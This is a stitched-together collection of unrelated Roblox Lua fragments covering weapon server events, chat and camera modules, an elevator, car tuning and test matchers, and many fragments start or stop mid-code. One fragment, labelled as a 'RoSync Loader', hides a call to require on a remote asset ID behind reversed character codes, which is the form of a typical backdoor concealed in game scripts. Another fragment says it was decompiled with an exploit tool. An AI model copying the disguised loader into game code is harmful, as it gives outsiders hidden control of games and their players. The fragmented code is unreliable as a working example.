--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
--[[ 7 ]] 0.52 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--Button Event
|
for _, b in pairs(scroll:GetChildren()) do
if b.ClassName=="TextButton" then
b.MouseButton1Click:Connect(function()
local result = event:InvokeServer(".", b.Tool.Value)
frame.Visible = false
frame.Search.Text = ""
if result then
player.Character.Humanoid:UnequipTools()
player.Character.Humanoid:EquipTool(result)
end
end)
end
end
|
--// Events
|
L_34_.OnServerEvent:connect(function(L_84_arg1)
for L_85_forvar1, L_86_forvar2 in pairs(L_30_:GetChildren()) do
if L_86_forvar2.Name:sub(1, 7) == "FlashFX" then
L_86_forvar2.Enabled = true
end
end;
delay(1 / 30, function()
for L_87_forvar1, L_88_forvar2 in pairs(L_30_:GetChildren()) do
if L_88_forvar2.Name:sub(1, 7) == "FlashFX" then
L_88_forvar2.Enabled = false
end
end
end);
end)
local L_52_
L_35_.OnServerEvent:connect(function(L_89_arg1, L_90_arg2, L_91_arg3)
L_90_arg2:TakeDamage(L_91_arg3)
if L_90_arg2.Health <= 0 and L_90_arg2 ~= L_52_ then
if L_4_ and L_4_:FindFirstChild(L_2_.Name) then
local L_92_ = L_4_[L_2_.Name]
L_92_.Value = not L_92_.Value
end
L_39_:FireClient(L_89_arg1)
L_52_ = L_90_arg2
end
end)
L_36_.OnServerEvent:connect(function(L_93_arg1, L_94_arg2)
local L_95_ = Instance.new("ObjectValue")
L_95_.Name = "creator"
L_95_.Value = L_93_arg1
L_95_.Parent = L_94_arg2
game.Debris:AddItem(L_95_, 3)
end)
L_37_.OnServerEvent:connect(function(L_96_arg1, L_97_arg2, L_98_arg3)
local L_99_ = L_96_arg1.Character
local L_100_ = L_99_:FindFirstChild('Torso')
local L_101_ = L_99_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')
local L_102_ = L_100_:FindFirstChild('Right Hip')
local L_103_ = L_100_:FindFirstChild('Left Hip')
local L_104_ = L_100_:FindFirstChild('Clone')
if L_97_arg2 == "Prone" and L_99_ and L_104_ then
L_101_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)
L_102_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)
L_103_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)
L_104_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)
elseif L_97_arg2 == "Crouch" and L_99_ and L_104_ then
L_101_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)
L_102_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)
L_103_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)
L_104_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
elseif L_97_arg2 == "Stand" and L_99_ and L_104_ then
L_101_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
L_102_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
L_103_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
L_104_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
elseif L_97_arg2 == "LeanRight" then
L_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0)
L_102_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0)
L_104_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
elseif L_97_arg2 == "LeanLeft" then
L_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0)
L_103_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0)
L_104_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
elseif L_97_arg2 == "Unlean" then
L_101_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
L_102_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
L_103_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
if L_100_:FindFirstChild('Clone') then
L_104_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
end
elseif L_97_arg2 == "Patrol" then
L_19_.C1 = L_98_arg3
elseif L_97_arg2 == "Unpatrol" then
L_19_.C1 = CFrame.new()
end
end)
L_38_.OnServerEvent:connect(function(L_105_arg1, L_106_arg2, L_107_arg3, L_108_arg4, L_109_arg5, L_110_arg6, L_111_arg7)
local L_112_ = Instance.new("Part", workspace)
L_112_.FormFactor = "Custom"
L_112_.TopSurface = 0
L_112_.BottomSurface = 0
L_112_.Transparency = 1
L_112_.Anchored = true
L_112_.CanCollide = false
L_112_.Size = Vector3.new(0.5, 0, 0.5)
L_112_.CFrame = CFrame.new(L_106_arg2) * CFrame.fromAxisAngle(L_107_arg3.magnitude == 0 and Vector3.new(1) or L_107_arg3.unit, L_108_arg4)
L_112_.BrickColor = BrickColor.new("Really black")
L_112_.Material = "SmoothPlastic"
local L_113_ = Instance.new("Decal", L_112_)
L_113_.Texture = "rbxassetid://64291977"
L_113_.Face = "Top"
game.Debris:AddItem(L_113_, 3)
local L_114_ = Instance.new("PointLight", L_112_)
L_114_.Color = Color3.new(0, 0, 0)
L_114_.Range = 0
L_114_.Shadows = true
for L_117_forvar1, L_118_forvar2 in pairs(game.Players:GetChildren()) do
if L_118_forvar2:IsA('Player') and L_118_forvar2.Character and L_118_forvar2.Character.HumanoidRootPart and (L_118_forvar2.Character.HumanoidRootPart.Position - L_106_arg2).magnitude <= 30 then
local L_119_ = Instance.new("Sound")
L_119_.Name = "Crack"
if L_111_arg7.Material == Enum.Material.Grass or L_111_arg7.Material == Enum.Material.Ice or L_111_arg7.Material == Enum.Material.Fabric or L_111_arg7.Material == Enum.Material.Pebble then
L_119_.SoundId = "rbxassetid://" .. L_45_[math.random(1, #L_45_)]
end
if L_111_arg7.Material == Enum.Material.Sand then
L_119_.SoundId = "rbxassetid://" .. L_46_[math.random(1, #L_46_)]
end
if L_111_arg7.Material == Enum.Material.Glass or L_111_arg7.Material == Enum.Material.Neon then
L_119_.SoundId = "rbxassetid://" .. L_47_[math.random(1, #L_47_)]
end
if L_111_arg7.Material == Enum.Material.Wood or L_111_arg7.Material == Enum.Material.WoodPlanks then
L_119_.SoundId = "rbxassetid://" .. L_48_[math.random(1, #L_48_)]
end
if L_111_arg7.Material == Enum.Material.Metal or L_111_arg7.Material == Enum.Material.CorrodedMetal or L_111_arg7.Material == Enum.Material.DiamondPlate then
L_119_.SoundId = "rbxassetid://" .. L_49_[math.random(1, #L_49_)]
end
if L_111_arg7.Material == Enum.Material.Water then
L_119_.SoundId = "rbxassetid://" .. L_50_[math.random(1, #L_50_)]
end
if L_111_arg7.Material == Enum.Material.Concrete or L_111_arg7.Material == Enum.Material.Plastic or L_111_arg7.Material == Enum.Material.SmoothPlastic or L_111_arg7.Material == Enum.Material.Slate or L_111_arg7.Material == Enum.Material.Foil or L_111_arg7.Material == Enum.Material.Brick or L_111_arg7.Material == Enum.Material.Granite or L_111_arg7.Material == Enum.Material.Marble or L_111_arg7.Material == Enum.Material.Cobblestone then
L_119_.SoundId = "rbxassetid://" .. L_51_[math.random(1, #L_51_)]
end
L_119_.EmitterSize = 10
L_119_.MaxDistance = 30
L_119_.Parent = L_118_forvar2.PlayerGui
L_119_:play()
game.Debris:AddItem(L_112_, 3)
end
end;
local L_115_
local L_116_
if L_110_arg6 == "Part" then
L_115_ = L_31_:WaitForChild("Spark"):clone()
L_115_.Parent = L_112_
L_115_.EmissionDirection = "Top"
L_116_ = L_31_:WaitForChild("Smoke"):clone()
L_116_.Parent = L_112_
L_116_.EmissionDirection = "Top"
L_115_.Enabled = true
L_116_.Enabled = true
game.Debris:AddItem(L_115_, 1)
game.Debris:AddItem(L_116_, 1)
delay(0.1, function()
L_115_.Enabled = false
L_116_.Enabled = false
end)
elseif L_110_arg6 == "Human" then
L_115_ = L_31_:WaitForChild("Blood"):clone()
L_115_.Parent = L_112_
L_115_.EmissionDirection = "Top"
L_115_.Enabled = true
game.Debris:AddItem(L_115_, 1)
delay(0.1, function()
L_115_.Enabled = false
end)
end
end)
L_40_.OnServerEvent:connect(function(L_120_arg1, L_121_arg2)
L_40_:FireAllClients(L_120_arg1, L_121_arg2)
end)
L_41_.OnServerEvent:connect(function(L_122_arg1, L_123_arg2)
local L_124_ = Instance.new('Part', workspace)
L_124_.Size = Vector3.new(0.1, 0.1, 0.1)
L_124_.Transparency = 1
L_124_.CanCollide = false
L_124_.Anchored = true
L_124_.Position = L_123_arg2
local L_125_ = Instance.new('Explosion', workspace)
L_125_.Position = L_123_arg2
L_125_.BlastPressure = L_12_.BlastPressue
L_125_.BlastRadius = L_12_.BlastRadius
L_125_.DestroyJointRadiusPercent = L_12_.DestroyJointRadius
L_125_.ExplosionType = L_12_.ExplosionType
local L_126_ = L_31_:WaitForChild('ExplosionSound'):clone()
L_126_.Parent = L_124_
L_126_:Play()
game:GetService('Debris'):AddItem(L_124_, L_126_.TimeLength)
end)
L_43_.OnServerEvent:connect(function(L_127_arg1, L_128_arg2)
for L_129_forvar1, L_130_forvar2 in pairs(game.Players:GetChildren()) do
if L_130_forvar2:IsA('Player') and L_130_forvar2.PlayerGui:FindFirstChild('MainGui') and L_130_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then
for L_131_forvar1, L_132_forvar2 in pairs(L_130_forvar2.Character:GetChildren()) do
if L_132_forvar2:IsA('Tool') and L_132_forvar2:FindFirstChild('Resource') and L_132_forvar2.Resource:FindFirstChild('Events') and L_132_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then
L_132_forvar2.Resource.Events.ServerFXEvent:FireClient(L_130_forvar2, L_128_arg2, L_2_)
end
end
end
end
end)
L_44_.OnServerEvent:connect(function(L_133_arg1, L_134_arg2, L_135_arg3)
L_134_arg2.SoundId = 'rbxassetid://' .. L_135_arg3
L_134_arg2:Play()
end)
|
-- Set up the click event handlers for each button
|
for _, button in ipairs(dock:GetChildren()) do
if button:IsA("ImageButton") then
button.MouseButton1Click:Connect(function()
local Click = script.Click
Click:Play()
end)
end
end
|
--manually add the rest
--table.insert(_G.Safezones, {["Position"] = workspace.SpeciesSelectionArea.SpiritSelectionAnchor.Position, ["Magnitude"] = workspace.SpeciesSelectionArea.SpiritSelectionAnchor.Radius.Value, ["Spawn"] = true})
|
table.insert(_G.Safezones, workspace.BiomeSelectionArea.SpawnSelectionAnchor.CFrame)
for _,part in pairs(workspace.SpawnParts:GetChildren()) do
table.insert(_G.Safezones, part.CFrame)
end
|
--////////////////////////////////////////////////////////////////////////////////////////////
--///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff
--////////////////////////////////////////////////////////////////////////////////////////////
|
local Util = {}
do
function Util.Signal()
local sig = {}
local mSignaler = Instance.new('BindableEvent')
local mArgData = nil
local mArgDataCount = nil
function sig:fire(...)
mArgData = {...}
mArgDataCount = select('#', ...)
mSignaler:Fire()
end
function sig:connect(f)
if not f then error("connect(nil)", 2) end
return mSignaler.Event:connect(function()
f(unpack(mArgData, 1, mArgDataCount))
end)
end
function sig:wait()
mSignaler.Event:wait()
assert(mArgData, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.")
return unpack(mArgData, 1, mArgDataCount)
end
return sig
end
end
function SetVisibility(val)
ChatWindow:SetVisible(val)
moduleApiTable.VisibilityStateChanged:fire(val)
moduleApiTable.Visible = val
if (moduleApiTable.IsCoreGuiEnabled) then
if (val) then
InstantFadeIn()
else
InstantFadeOut()
end
end
end
do
moduleApiTable.TopbarEnabled = true
moduleApiTable.MessageCount = 0
moduleApiTable.Visible = true
moduleApiTable.IsCoreGuiEnabled = true
function moduleApiTable:ToggleVisibility()
SetVisibility(not ChatWindow:GetVisible())
end
function moduleApiTable:SetVisible(visible)
if (ChatWindow:GetVisible() ~= visible) then
SetVisibility(visible)
end
end
function moduleApiTable:FocusChatBar()
ChatBar:CaptureFocus()
end
function moduleApiTable:GetVisibility()
return ChatWindow:GetVisible()
end
function moduleApiTable:GetMessageCount()
return self.MessageCount
end
function moduleApiTable:TopbarEnabledChanged(enabled)
self.TopbarEnabled = enabled
self.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat))
end
function moduleApiTable:IsFocused(useWasFocused)
return ChatBar:IsFocused()
end
moduleApiTable.ChatBarFocusChanged = Util.Signal()
moduleApiTable.VisibilityStateChanged = Util.Signal()
moduleApiTable.MessagesChanged = Util.Signal()
moduleApiTable.MessagePosted = Util.Signal()
moduleApiTable.CoreGuiEnabled = Util.Signal()
moduleApiTable.ChatMakeSystemMessageEvent = Util.Signal()
moduleApiTable.ChatWindowPositionEvent = Util.Signal()
moduleApiTable.ChatWindowSizeEvent = Util.Signal()
moduleApiTable.ChatBarDisabledEvent = Util.Signal()
function moduleApiTable:fChatWindowPosition()
return ChatWindow.GuiObject.Position
end
function moduleApiTable:fChatWindowSize()
return ChatWindow.GuiObject.Size
end
function moduleApiTable:fChatBarDisabled()
return not ChatBar:GetEnabled()
end
function moduleApiTable:SpecialKeyPressed(key, modifiers)
if (key == Enum.SpecialKey.ChatHotkey) then
if canChat then
DoChatBarFocus()
end
end
end
end
moduleApiTable.CoreGuiEnabled:connect(function(enabled)
moduleApiTable.IsCoreGuiEnabled = enabled
enabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)
ChatWindow:SetCoreGuiEnabled(enabled)
if (not enabled) then
ChatBar:ReleaseFocus()
InstantFadeOut()
else
InstantFadeIn()
end
end)
function trimTrailingSpaces(str)
local lastSpace = #str
while lastSpace > 0 do
--- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace)
if str:find("^%s", lastSpace) then
lastSpace = lastSpace - 1
else
break
end
end
return str:sub(1, lastSpace)
end
moduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable)
if (valueTable["Text"] and type(valueTable["Text"]) == "string") then
while (not DidFirstChannelsLoads) do wait() end
local channel = ChatSettings.GeneralChannelName
local channelObj = ChatWindow:GetChannel(channel)
if (channelObj) then
local messageObject = {
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = channel,
IsFiltered = true,
MessageLength = string.len(valueTable.Text),
Message = trimTrailingSpaces(valueTable.Text),
MessageType = ChatConstants.MessageTypeSetCore,
Time = os.time(),
ExtraData = valueTable,
}
channelObj:AddMessageToChannel(messageObject)
ChannelsBar:UpdateMessagePostedInChannel(channel)
moduleApiTable.MessageCount = moduleApiTable.MessageCount + 1
moduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)
end
end
end)
moduleApiTable.ChatBarDisabledEvent:connect(function(disabled)
if canChat then
ChatBar:SetEnabled(not disabled)
if (disabled) then
ChatBar:ReleaseFocus()
end
end
end)
moduleApiTable.ChatWindowSizeEvent:connect(function(size)
ChatWindow.GuiObject.Size = size
end)
moduleApiTable.ChatWindowPositionEvent:connect(function(position)
ChatWindow.GuiObject.Position = position
end)
|
-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared
|
function CameraUtils.ConvertCameraModeEnumToStandard(enumValue:
Enum.TouchCameraMovementMode |
Enum.ComputerCameraMovementMode |
Enum.DevTouchCameraMovementMode |
Enum.DevComputerCameraMovementMode): Enum.ComputerCameraMovementMode | Enum.DevComputerCameraMovementMode
if enumValue == Enum.TouchCameraMovementMode.Default then
return Enum.ComputerCameraMovementMode.Follow
end
if enumValue == Enum.ComputerCameraMovementMode.Default then
return Enum.ComputerCameraMovementMode.Classic
end
if enumValue == Enum.TouchCameraMovementMode.Classic or
enumValue == Enum.DevTouchCameraMovementMode.Classic or
enumValue == Enum.DevComputerCameraMovementMode.Classic or
enumValue == Enum.ComputerCameraMovementMode.Classic then
return Enum.ComputerCameraMovementMode.Classic
end
if enumValue == Enum.TouchCameraMovementMode.Follow or
enumValue == Enum.DevTouchCameraMovementMode.Follow or
enumValue == Enum.DevComputerCameraMovementMode.Follow or
enumValue == Enum.ComputerCameraMovementMode.Follow then
return Enum.ComputerCameraMovementMode.Follow
end
if enumValue == Enum.TouchCameraMovementMode.Orbital or
enumValue == Enum.DevTouchCameraMovementMode.Orbital or
enumValue == Enum.DevComputerCameraMovementMode.Orbital or
enumValue == Enum.ComputerCameraMovementMode.Orbital then
return Enum.ComputerCameraMovementMode.Orbital
end
if enumValue == Enum.ComputerCameraMovementMode.CameraToggle or
enumValue == Enum.DevComputerCameraMovementMode.CameraToggle then
return Enum.ComputerCameraMovementMode.CameraToggle
end
-- Note: Only the Dev versions of the Enums have UserChoice as an option
if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or
enumValue == Enum.DevComputerCameraMovementMode.UserChoice then
return Enum.DevComputerCameraMovementMode.UserChoice
end
-- For any unmapped options return Classic camera
return Enum.ComputerCameraMovementMode.Classic
end
local function getMouse()
local localPlayer = Players.LocalPlayer
if not localPlayer then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
localPlayer = Players.LocalPlayer
end
assert(localPlayer)
return localPlayer:GetMouse()
end
local savedMouseIcon: string = ""
local lastMouseIconOverride: string? = nil
function CameraUtils.setMouseIconOverride(icon: string)
local mouse = getMouse()
-- Only save the icon if it was written by another script.
if mouse.Icon ~= lastMouseIconOverride then
savedMouseIcon = mouse.Icon
end
mouse.Icon = icon
lastMouseIconOverride = icon
end
function CameraUtils.restoreMouseIcon()
local mouse = getMouse()
-- Only restore if it wasn't overwritten by another script.
if mouse.Icon == lastMouseIconOverride then
mouse.Icon = savedMouseIcon
end
lastMouseIconOverride = nil
end
local savedMouseBehavior: Enum.MouseBehavior = Enum.MouseBehavior.Default
local lastMouseBehaviorOverride: Enum.MouseBehavior? = nil
function CameraUtils.setMouseBehaviorOverride(value: Enum.MouseBehavior)
if UserInputService.MouseBehavior ~= lastMouseBehaviorOverride then
savedMouseBehavior = UserInputService.MouseBehavior
end
UserInputService.MouseBehavior = value
lastMouseBehaviorOverride = value
end
function CameraUtils.restoreMouseBehavior()
if UserInputService.MouseBehavior == lastMouseBehaviorOverride then
UserInputService.MouseBehavior = savedMouseBehavior
end
lastMouseBehaviorOverride = nil
end
local savedRotationType: Enum.RotationType = Enum.RotationType.MovementRelative
local lastRotationTypeOverride: Enum.RotationType? = nil
function CameraUtils.setRotationTypeOverride(value: Enum.RotationType)
if UserGameSettings.RotationType ~= lastRotationTypeOverride then
savedRotationType = UserGameSettings.RotationType
end
UserGameSettings.RotationType = value
lastRotationTypeOverride = value
end
function CameraUtils.restoreRotationType()
if UserGameSettings.RotationType == lastRotationTypeOverride then
UserGameSettings.RotationType = savedRotationType
end
lastRotationTypeOverride = nil
end
return CameraUtils
|
----
----
|
if hit.Parent:findFirstChild("Humanoid") ~= nil then
local target1 = "RightUpperLeg"
local target2 = "RightUpperLeg2"
if hit.Parent:findFirstChild(target2) == nil then
local g = script.Parent.Parent[target2]:clone()
g.Parent = hit.Parent
local C = g:GetChildren()
for i=1, #C do
if C[i].className == "UnionOperation" or C[i].className =="Part" or C[i].className == "WedgePart" or C[i].className == "MeshPart" then
local W = Instance.new("Weld")
W.Part0 = g.Middle
W.Part1 = C[i]
local CJ = CFrame.new(g.Middle.Position)
local C0 = g.Middle.CFrame:inverse()*CJ
local C1 = C[i].CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = g.Middle
end
local Y = Instance.new("Weld")
Y.Part0 = hit.Parent[target1]
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Y.Part0
end
local h = g:GetChildren()
for i = 1, # h do
h[i].Anchored = false
h[i].CanCollide = false
end
end
end
|
--[[
[Whether the whole character turns to face the mouse.]
[If set to true, MseGuide will be set to true and both HeadHorFactor and BodyHorFactor will be set to 0]
--]]
|
local TurnCharacterToMouse = true
|
--[=[
@return Keyboard
Constructs a new keyboard input capturer.
```lua
local keyboard = Keyboard.new()
```
]=]
|
function Keyboard.new()
local self = setmetatable({}, Keyboard)
self._trove = Trove.new()
self.KeyDown = self._trove:Construct(Signal)
self.KeyUp = self._trove:Construct(Signal)
self:_setup()
return self
end
|
--Functions
|
local function onTouched(hit)
local Humanoid = hit.Parent:FindFirstChild("Humanoid")
local player = game.Players:GetPlayerFromCharacter(hit.Parent)
if Humanoid and Debounce == false then
local leaderstats = player:FindFirstChild("leaderstats")
Debounce = true
if Debounce == true and leaderstats then
local sound = script.Parent["Game Sound Correct"]
if not sound.IsPlaying then
sound:Play()
Debounce = false
leaderstats.Guesses.Value = leaderstats.Guesses.Value + AMOUNT_GIVEN
wait(2)
wait(10)
end
end
end
end
|
--[[ SCRIPT VARIABLES ]]
|
local CHAT_BUBBLE_FONT = Enum.Font.Fantasy
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_FADE_SPEED = 1.5
local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters
local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive
if FFlagUserChatNewMessageLengthCheck2 then
MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1
else
MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1
end
local NEAR_BUBBLE_DISTANCE = 65 --previously 45
local MAX_BUBBLE_DISTANCE = 100 --previously 80
|
--
|
script.Parent.OnServerEvent:Connect(function(p)
local Character = p.Character
local Humanoid = Character.Humanoid
local RootPart = Character.HumanoidRootPart
local Slash1 = RS.Effects.Part1:Clone()
local Anim = Humanoid:LoadAnimation(script.Animation)
Anim:Play()
Humanoid.WalkSpeed = 10
script.Attack:Play()
Slash1.Parent = FX
Slash1.CFrame = RootPart.CFrame * CFrame.new(0,0,-3)
local BV = Instance.new("BodyVelocity",Slash1)
BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
BV.Velocity = p.Character.HumanoidRootPart.CFrame.LookVector * 60
Slash1.Touched:Connect(function(hit)
if hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Name ~= p.Name then
hit.Parent.Humanoid:TakeDamage(Damage)
local HitEffect = Effects.Hit1.Attachment:Clone()
local RootPart2 = hit.Parent.HumanoidRootPart
HitEffect.Parent = RootPart2
for _,Particles in pairs(HitEffect:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
HitEffect.Hit:Play()
local vel = Instance.new("BodyVelocity", RootPart2)
vel.MaxForce = Vector3.new(1,1,1) * 1000000;
vel.Parent = RootPart2
vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
vel.Name = "SmallMoveVel"
game.Debris:AddItem(vel,1)
Slash1:Destroy()
end
wait(1)
Slash1.Anchored = true
for _,Particles in pairs(Slash1.Part.Parent:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles.Enabled = false
end
end
Slash1.PointLight.Enabled = false
end)
end)
|
--//Setup//--
|
local Holder = script.Parent.Holder
|
--[=[
Cleans up all objects in the trove. This is
similar to calling `Remove` on each object
within the trove.
]=]
|
function Trove:Clean()
for _,obj in ipairs(self._objects) do
self:_cleanupObject(obj[1], obj[2])
end
table.clear(self._objects)
end
function Trove:_cleanupObject(object, cleanupMethod)
if cleanupMethod == FN_MARKER then
object()
elseif cleanupMethod == THREAD_MARKER then
coroutine.close(object)
else
object[cleanupMethod](object)
end
end
|
-- Services
|
local playersService = game:GetService("Players")
local tweenService = game:GetService("TweenService")
local part = script.Parent
|
--[[**
matches given tuple against tuple type definition
@param ... The type definition for the tuples
@returns A function that will return true iff the condition is passed
**--]]
|
function t.tuple(...)
local checks = {...}
return function(...)
local args = {...}
for i = 1, #checks do
local success, errMsg = checks[i](args[i])
if success == false then
return false, string.format("Bad tuple index #%d:\n\t%s", i, errMsg or "")
end
end
return true
end
end
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Maroon",Paint)
end)
|
--[[ Last synced 12/13/2020 04:13 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--- Sets a metatable on a table such that it errors when
-- indexing a nil value
-- @tparam table _table Table to error on indexing
-- @treturn table _table The same table
|
function Table.readonly(_table)
return setmetatable(_table, {
__index = function(self, index)
error(("Bad index %q"):format(tostring(index)), 2)
end;
__newindex = function(self, index, value)
error(("Bad index %q"):format(tostring(index)), 2)
end;
})
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {};
local l__LocalPlayer__3 = game.Players.LocalPlayer;
local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule"));
v2.value = 250;
v2.event = v4.event.Revives;
v4.event.Revives.Event:connect(function(p1)
if type(p1) == "number" then
v2.value = p1;
return;
end;
v2.value = 250;
end);
v2.value = v4.data.Revives;
return v2;
|
--calls
|
caf.Call1.Changed:Connect(function()
if vaf.Moving.Value == true then
else
if vaf.IsOnFirstFloor.Value == true then
caf.Call1.Value = false
else
caf.Call1.Value = false
vaf.Moving.Value = true
--
door2.Close:Fire()
wait(sef.DoorMoveTime.Value)
wait(sef.StartMovingDelayTime.Value)
elev2.SoundBrick.Brick.MoveSound:Play()
elev1.SoundBrick.Brick.MoveSound:Play()
elev1.SoundBrick.Brick.MoveSound.Volume = 0
wait(sef.TravelTime.Value)
elev2.TeleportBrick.CanTouch = true
wait(0.2)
elev2.TeleportBrick.CanTouch = false
elev2.SoundBrick.Brick.MoveSound:Stop()
elev1.SoundBrick.Brick.MoveSound.Volume = sef.DefaultMoveSoundLoudness.Value
wait(sef.DoorDelayTime.Value)
door1.Open:Fire()
--
vaf.Moving.Value = false
vaf.IsOnFirstFloor.Value = true
end
end
end)
caf.Call2.Changed:Connect(function()
if vaf.Moving.Value == true then
else
if vaf.IsOnFirstFloor.Value == false then
caf.Call2.Value = false
else
caf.Call2.Value = false
vaf.Moving.Value = true
--
door1.Close:Fire()
wait(sef.DoorMoveTime.Value)
wait(sef.StartMovingDelayTime.Value)
elev1.SoundBrick.Brick.MoveSound:Play()
elev2.SoundBrick.Brick.MoveSound:Play()
elev2.SoundBrick.Brick.MoveSound.Volume = 0
vaf.Moving.Value = true
wait(sef.TravelTime.Value)
elev1.TeleportBrick.CanTouch = true
wait(0.2)
elev1.TeleportBrick.CanTouch = false
elev1.SoundBrick.Brick.MoveSound:Stop()
elev2.SoundBrick.Brick.MoveSound.Volume = sef.DefaultMoveSoundLoudness.Value
wait(sef.DoorDelayTime.Value)
door2.Open:Fire()
--
vaf.Moving.Value = false
vaf.IsOnFirstFloor.Value = false
end
end
end)
|
---Basic_Settings:---
|
local light = true -- Set to false if u dont have light added
local maxv = 150 -- Max Speed In REAL KT.. Check Online for the real Aviation speed for this plane
local minspeed = -30 -- min speed In real KT
local Spd_keep = true-- Set to false if U dont want the function to Speed up/down if u hold M/N down, and after release it stops
|
-- ROBLOX deviation: toBeFalsy checks for Lua falsy values, not JS falsy values
|
local function toBeFalsy(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expected: nil
)
local matcherName = "toBeFalsy"
local options: MatcherHintOptions = {
isNot = self.isNot,
promise = self.promise,
}
ensureNoExpected(expected, matcherName, options)
local pass = not received
local message = function()
return matcherHint(matcherName, nil, "", options)
.. "\n\n"
.. string.format("Received: %s", printReceived(received))
end
return { message = message, pass = pass }
end
local function toBeGreaterThan(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: number,
expected: number
)
local matcherName = "toBeGreaterThan"
local isNot = self.isNot
local options: MatcherHintOptions = {
